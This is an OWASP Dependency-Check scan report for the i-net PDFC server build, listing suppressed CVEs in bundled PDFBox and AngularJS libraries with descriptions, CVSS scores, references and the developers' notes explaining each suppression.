



Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user's risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.

[How to read the report](#) | [Suppressing false positives](#) | [Getting Help: github issues](#)

Project: project ':server'

pdfc:server:26.4

Scan Information ([show all](#)):

- *dependency-check version:* 12.2.1
- *Report Generated On:* Sat, 16 May 2026 17:47:41 +0200
- *Dependencies Scanned:* 1471 (1395 unique)
- *Vulnerable Dependencies:* 0
- *Vulnerabilities Found:* 0
- *Vulnerabilities Suppressed:* 120 ([show](#))
- ...

Analysis Exceptions

Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required



Failed to request component-reports. <https://ossindex.sonatype.org/api/v3/component-report> - Server status: 402 - Server reason: Payment Required





Summary

Summary of Vulnerable Dependencies [\(click to show all\)](#)

Dependency Vulnerability IDs Package Highest Severity CVE Count Confidence Evidence Count

Dependencies (vulnerable)

Suppressed Vulnerabilities



ocr.tesseract.zip: jbig2-imageio.jar

Description:

Java Image I/O plugin for reading JBIG2-compressed image data.
Formerly known as the levigo JBig2 ImageIO plugin (com.levigo.jbig2:levigo-jbig2-imageio).

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller
/server/build/tmp/dependencies/i-net PDFC/plugins/ocr.tesseract.zip/jbig2-imageio.jar

MD5: c51f45dc3d29bbf716774f9ff9e95ad6

SHA1: ad09a9bb94ea791ea81fb6c5bc2b13dd77872598

SHA256: 29cb2951622f10acf61fd0656c4e6fa5562194a9095f7a1d26aa426e2f6b17eb

Referenced In Project/Scope: server

Evidence



Suppressed Identifiers

- [cpe:2.3:a:apache:pdfbox:3.0.4:*.***.*.*.*](#) suppressed (Confidence: Highest)
 - Notes: Excluded due to not having a newer version available. This will be checked soon to mitigate. PDFBox is a tesseract dependency and not actively used in the product file name: ocr.tesseract.zip: jbig2-imageio.jar

Suppressed Vulnerabilities



[CVE-2026-23907](#) suppressed

This issue affects the
ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.

The ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from
PDComplexFileSpecification.getFilename() is appended to the extraction path.

Users who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example

has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- security@apache.org - [MAILING_LIST,VENDOR_ADVISORY](#)
- security@apache.org - [NOT_APPLICABLE](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:pdfbox:*:*:*:*:* versions from \(including\) 3.0.0; versions up to \(including\) 3.0.7](#)
- ...

[CVE-2026-33929](#) suppressed

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache PDFBox Examples.

This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.36, from 3.0.0 through 3.0.7.

Users are recommended to update to version 2.0.37 or 3.0.8 once available. Until then, they should apply the fix provided in GitHub PR 427.

The ExtractEmbeddedFiles example contained a path traversal vulnerability (CWE-22) mentioned in CVE-2026-23907. However the change in the releases 2.0.36 and 3.0.7 is flawed because it doesn't consider the file path separator. Because of that, a user having writing rights on /home/ABC could be victim to a malicious PDF resulting in a write attempt to any path starting with /home/ABC, e.g. "/home/ABCDEF".

Users who have copied this example into their production code should apply the mentioned change. The example has been changed accordingly and is available in the project repository.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- security@apache.org - [MAILING_LIST](#)
- security@apache.org - [MAILING_LIST,VENDOR_ADVISORY](#)
- security@apache.org - [PATCH](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:pdfbox:*:*:*:*:* versions from \(including\) 3.0.0; versions up to \(excluding\) 3.0.8](#)
- ...

ocr.tesseract.zip: pdfbox-debugger.jar

Description:

The Apache PDFBox library is an open source Java tool for working with PDF documents. This artefact contains the PDFDebugger.

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/ocr.tesseract.zip/pdfbox-debugger.jar

MD5: 85573afca8351375b49718b379abc76c

SHA1: 2c48091b1dd9be69d09e1aea657fc1e4065b08e7

SHA256: 79320b36483f001661b01e9409d9b62066e07a3a4e2f9e6568d777b04896d130

Referenced In Project/Scope: server

Evidence

Suppressed Identifiers

- [cpe:2.3:a:apache:pdfbox:3.0.7:*:*:*:*:*](#) suppressed (*Confidence:*Highest)
 - Notes: Excluded due to not having a newer version available. This will be checked soon to mitigate. PDFBox is a tesseract dependency and not actively used in the product file name: ocr.tesseract.zip: pdfbox-debugger.jar

Suppressed Vulnerabilities

[CVE-2026-23907](#) suppressed

This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.

The ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from `PDComplexFileSpecification.getFilename()` is appended to the extraction path.

Users who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- security@apache.org - [MAILING_LIST,VENDOR_ADVISORY](#)
- security@apache.org - [NOT_APPLICABLE](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:pdfbox:*:*:*:*:* versions from \(including\) 3.0.0; versions up to \(including\) 3.0.7](#)
- ...

[CVE-2026-33929](#) suppressed

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache PDFBox Examples.

This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.36, from 3.0.0 through 3.0.7.

Users are recommended to update to version 2.0.37 or 3.0.8 once available. Until then, they should apply the fix provided in GitHub PR 427.

The ExtractEmbeddedFiles example contained a path traversal vulnerability (CWE-22) mentioned in CVE-2026-23907. However the change in the releases 2.0.36 and 3.0.7 is flawed because it doesn't consider the file path separator. Because of that, a user having writing rights on /home/ABC could be victim to a malicious PDF resulting in a write attempt to any path starting with /home/ABC, e.g. "/home/ABCDEF".

Users who have copied this example into their production code should apply the mentioned change. The example has been changed accordingly and is available in the project repository.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- security@apache.org - [MAILING_LIST](#)
- security@apache.org - [MAILING_LIST,VENDOR_ADVISORY](#)
- security@apache.org - [PATCH](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:pdfbox:*:*:*:*:* versions from \(including\) 3.0.0; versions up to \(excluding\) 3.0.8](#)
- ...

ocr.tesseract.zip: pdfbox.jar

Description:

The Apache PDFBox library is an open source Java tool for working with PDF documents.

License:

<https://www.apache.org/licenses/LICENSE-2.0.txt>

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/ocr.tesseract.zip/pdfbox.jar

MD5: adeb0637e9451d49e610ee3bc16781cd

SHA1: ecfc1bbfa656d3e330b8cc9e6996a18cde1c9bd0

SHA256: 7cefa717622330951b4343abf1e5d36bccb11f4ba245d78aaa73251d08fec623

Referenced In Project/Scope: server

Evidence

Suppressed Identifiers

- [cpe:2.3:a:apache:pdfbox:3.0.7:*:*:*:*:*](#) suppressed (*Confidence:*Highest)
 - Notes: Excluded due to not having a newer version available. This will be checked soon to mitigate. PDFBox is a tesseract dependency and not actively used in the product file name: ocr.tesseract.zip: pdfbox.jar

Suppressed Vulnerabilities

[CVE-2026-23907](#) suppressed

This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.35, from 3.0.0 through 3.0.6.

The ExtractEmbeddedFiles example contains a path traversal vulnerability (CWE-22) because the filename that is obtained from `PDComplexFileSpecification.getFilename()` is appended to the extraction path.

Users who have copied this example into their production code should review it to ensure that the extraction path is acceptable. The example has been changed accordingly, now the initial path and the extraction paths are converted into canonical paths and it is verified that extraction path contains the initial path. The documentation has also been adjusted.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- security@apache.org - [MAILING_LIST,VENDOR_ADVISORY](#)
- security@apache.org - [NOT_APPLICABLE](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:pdfbox:*:*:*:*:*](#) versions from (including) 3.0.0; versions up to (including) 3.0.7
- ...

[CVE-2026-33929](#) suppressed

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache PDFBox Examples.

This issue affects the ExtractEmbeddedFiles example in Apache PDFBox: from 2.0.24 through 2.0.36, from 3.0.0 through 3.0.7.

Users are recommended to update to version 2.0.37 or 3.0.8 once available. Until then, they should apply the fix provided in GitHub PR 427.

The ExtractEmbeddedFiles example contained a path traversal vulnerability (CWE-22) mentioned in CVE-2026-23907. However the change in the releases 2.0.36 and 3.0.7 is flawed because it doesn't consider the file path separator. Because of that, a user having writing rights on /home/ABC could be victim to a malicious PDF resulting in a write attempt to any path starting with /home/ABC, e.g. "/home/ABCDEF".

Users who have copied this example into their production code should apply the mentioned change. The example has been changed accordingly and is available in the project repository.

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- security@apache.org - [MAILING_LIST](#)
- security@apache.org - [MAILING_LIST,VENDOR_ADVISORY](#)
- security@apache.org - [PATCH](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:pdfbox:*:*:*:*:* versions from \(including\) 3.0.0; versions up to \(excluding\) 3.0.8](#)
- ...

remotegui.zip: angular-animate.jar: angular-animate.js

File Path: /home/jenkins/workspace/pdfc/Check-Product-Installer-for-Security-Problems/PDFCInstaller/server/build/tmp/dependencies/i-net PDFC/plugins/remotegui.zip/angular-animate.jar/META-INF/resources/webjars/angular-animate/1.8.3/angular-animate.js
MD5: 31312b87e7226c8bf0714fcef0ea5d18
SHA1: dc9fb55f2c7f922c5ba83449266239ba1353db45
SHA256: 58e79e0e7cbb1e1502d216701e1fae41c405d92320aea1b68a223054096fda93
Referenced In Project/Scope: server

Evidence



Suppressed Identifiers

- None

Suppressed Vulnerabilities



[CVE-2022-25844](#) suppressed

The package angular after 1.7.0 are vulnerable to Regular Expression Denial of Service (ReDoS) by providing a custom locale rule that makes it possible to assign the parameter in posPre: ' '.repeat() of NUMBER_FORMATS.PATTERNS[1].posPre with a very high value.

Note: 1) This package has been deprecated and is no longer maintained. 2) The vulnerable versions are 1.7.0 and higher.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

CVSSv2:

- Base Score: MEDIUM (5.0)
- Vector: /AV:N/AC:L/Au:N/C:N/I:N/A:P

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-m2h2-264f-f486>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2WUSPYOTOMAZPDEFWPSCSPMNODRDKK3/>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/7LNAKCNTVBIHWAUT3FKWV5N67PQXSZOO/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.7.0
- cpe:2.3:a:netapp:ontap_select_deploy_administration_utility:-:*:*:*:*

CVE-2024-21490 suppressed

This affects versions of the package angular from 1.3.0. A regular expression used to split the value of the ng-srcset directive is vulnerable to super-linear runtime due to backtracking. With large carefully-crafted input, this can result in catastrophic backtracking and cause a denial of service. **Note:** This package is EOL and will not receive any updates to address this issue. Users should migrate to [@angular/core](https://www.npmjs.com/package/@angular/core).

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- HIGH (7.5)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)

- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-4w4v-5hc9-xrr2>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-21490>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-6241746>
- info - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-6241747>
- info - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-6091113>
- info - <https://stackblitz.com/edit/angularjs-vulnerability-ng-srcset-redos>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angular.js:*:*:*:*:* versions from (including) 1.3.0

[CVE-2022-25869](#) suppressed

All versions of the package angular; all versions of the package angularjs.core; all versions of the package angularjs are vulnerable to Cross-site Scripting (XSS) due to insecure page caching in the Internet Explorer browser, which allows interpolation of <textarea> elements.

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (6.1)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [BROKEN LINK](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-prc3-vjfx-vhm9>
- report@snyk.io - <https://neverendingsupport.github.io/angularjs-poc-cve-2022-25869>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJS-10771617>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-DOTNET-ANGULARJSCORE-6084031>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-2949783>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBANGULAR-2949784>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2949782>
- report@snyk.io - <https://security.snyk.io/vuln/SNYK-JS-ANGULAR-2949781>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:*

[CVE-2023-26116](#) suppressed

Versions of the package angular from 1.2.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the angular.copy() utility function due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2vrf-hf26-jrp5>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.2.21; versions up to (including) 1.8.3

[CVE-2023-26117](#) suppressed

Versions of the package angular from 1.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via the \$resource service due to the usage of an insecure regular expression. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-2qgx-w9hr-q5gx>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.0.0; versions up to (including) 1.8.3

[CVE-2023-26118](#) suppressed

Versions of the package angular from 1.4.9 are vulnerable to Regular Expression Denial of Service (ReDoS) via the <input type="url"> element due to the usage of an insecure regular expression in the input[url] functionality. Exploiting this vulnerability is possible by a large carefully-crafted input, which can result in catastrophic backtracking.

CWE-1333 Inefficient Regular Expression Complexity

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (5.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)
- info - <https://github.com/advisories/GHSA-qwqh-hm9m-p5hr>
- report@snyk.io - <https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UDKFLKJ6VZKL52AFVW2OVZRMJWHMW55K/>
- report@snyk.io - [EXPLOIT](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- report@snyk.io - [MAILING_LIST,THIRD_PARTY_ADVISORY](#)

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.4.9; versions up to (including) 1.8.3

[CVE-2024-8372](#) suppressed

Improper sanitization of the value of the 'srcset' attribute in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects AngularJS versions 1.3.0-rc.4 and greater.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-1289 Improper Validation of Unsafe Equivalence in Input, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/xxoQRNL/0072e627abe03e9cda373bc75b4c1017>
- info - <https://github.com/advisories/GHSA-m9gf-397r-hwpg>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8372>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8372>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions from (including) 1.3.1; versions up to (including) 1.8.3
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc4:*:*:*:*
- cpe:2.3:a:angularjs:angularjs:1.3.0:rc5:*:*:*:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:windows:*

CVE-2024-8373 suppressed

Improper sanitization of the value of the [srcset] attribute in <source> HTML elements in AngularJS allows attackers to bypass common image source restrictions, which can also lead to a form of Content Spoofing https://owasp.org/www-community/attacks/Content_Spoofing .

This issue affects all versions of AngularJS.

Note:

The AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see here <https://docs.angularjs.org/misc/version-support-status> .

CWE-791 Incomplete Filtering of Special Elements, NVD-CWE-Other

Notes: We can not yet update to newer Angular Version

CVSSv3:

- MEDIUM (4.3)
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N/E:P/RC:R/MAV:A

References:

- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- 36c7be3b-2937-45df-85ea-ca7133ea542c - [EXPLOIT,THIRD_PARTY_ADVISORY](#)
- af854a3a-2127-422b-91ae-364da2661108 - <https://lists.debian.org/debian-lts-announce/2025/07/msg00005.html>
- af854a3a-2127-422b-91ae-364da2661108 - [THIRD_PARTY_ADVISORY](#)
- info - <https://codepen.io/herodevs/full/bGPQgMp/8da9ce87e99403ee13a295c305ebfa0b>
- info - <https://github.com/advisories/GHSA-mqm9-c95h-x2p6>
- info - <https://github.com/angular/angular.js>
- info - <https://nvd.nist.gov/vuln/detail/CVE-2024-8373>
- info - <https://www.herodevs.com/vulnerability-directory/cve-2024-8373>

Vulnerable Software & Versions (NVD):

- cpe:2.3:a:angularjs:angularjs:*:*:*:*:* versions up to (including) 1.8.3
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:linux:*
- cpe:2.3:a:netapp:active_iq_unified_manager:*:*:*:*:vsphere:*
